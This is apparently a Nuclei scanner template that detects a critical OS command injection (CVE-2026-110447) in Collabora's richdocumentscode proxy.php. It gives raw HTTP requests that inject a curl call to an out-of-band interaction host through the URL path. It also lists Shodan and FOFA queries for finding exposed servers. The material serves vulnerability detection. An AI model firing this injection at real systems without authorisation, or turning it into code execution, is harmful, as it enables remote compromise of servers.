id: CVE-2026-110447 info: name: Collabora Built-in CODE Server < 26.4.303 - OS Command Injection author: alex700 severity: critical description: | Collabora Online Built-in CODE Server before 26.4.303 contains a command injection caused by improper handling in proxy.php when the CODE server is not running, letting remote attackers execute OS commands, exploit requires CODE server to be stopped. impact: | Remote attackers can execute arbitrary OS commands, potentially leading to full system compromise. remediation: | Upgrade to version 26.4.303 or later. reference: - https://github.com/CollaboraOnline/richdocumentscode/issues/354 - https://github.com/CollaboraOnline/richdocumentscode/compare/26.4.302...26.4.303 - https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/110xxx/CVE-2026-110447.json - https://nvd.nist.gov/vuln/detail/CVE-2026-110447 classification: cve-id: CVE-2026-110447 epss-score: 0.73307 epss-percentile: 0.9946 cwe-id: CWE-78 cvss-score: 9.2 cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N metadata: verified: true max-request: 4 vendor: collabora product: richdocumentscode fofa-query: body="/apps/richdocumentscode/" shodan-query: http.html:"/apps/richdocumentscode/" publicwww-query: "/apps/richdocumentscode/" tags: cve,cve2026,collabora,nextcloud,richdocumentscode,rce,oast,intrusive,vuln,kev,vkev flow: (http(1) && http(2)) || (http(3) && http(4)) http: - method: GET path: - "{{BaseURL}}/apps/richdocumentscode/proxy.php?nuclei_detect" matchers: - type: word part: body words: - "Socket proxy error" internal: true - unsafe: true raw: - |+ GET /x$(curl${IFS}-s${IFS}{{interactsh-url}})x/%2e%2e/apps/richdocumentscode/proxy.php?status HTTP/1.1 Host: {{Hostname}} Connection: close matchers-condition: and matchers: - type: word part: body words: - '"status"' - type: word part: interactsh_protocol words: - "http" - method: GET path: - "{{BaseURL}}/apps/richdocumentscode_arm64/proxy.php?nuclei_detect" matchers: - type: word part: body words: - "Socket proxy error" internal: true - unsafe: true raw: - |+ GET /x$(curl${IFS}-s${IFS}{{interactsh-url}})x/%2e%2e/apps/richdocumentscode_arm64/proxy.php?status HTTP/1.1 Host: {{Hostname}} Connection: close matchers-condition: and matchers: - type: word part: body words: - '"status"' - type: word part: interactsh_protocol words: - "http" # digest: 4b0a00483046022100a3af31bec45875959c11a257edd24cfed169ad2cbae2d8d2fecec1b47b0bb6eb022100aced5cb1acb3b59b5f2f6fe094828f1fa4db243849b28280b8ec0155489e8161:922c64590222798bb761d5b6d8e72950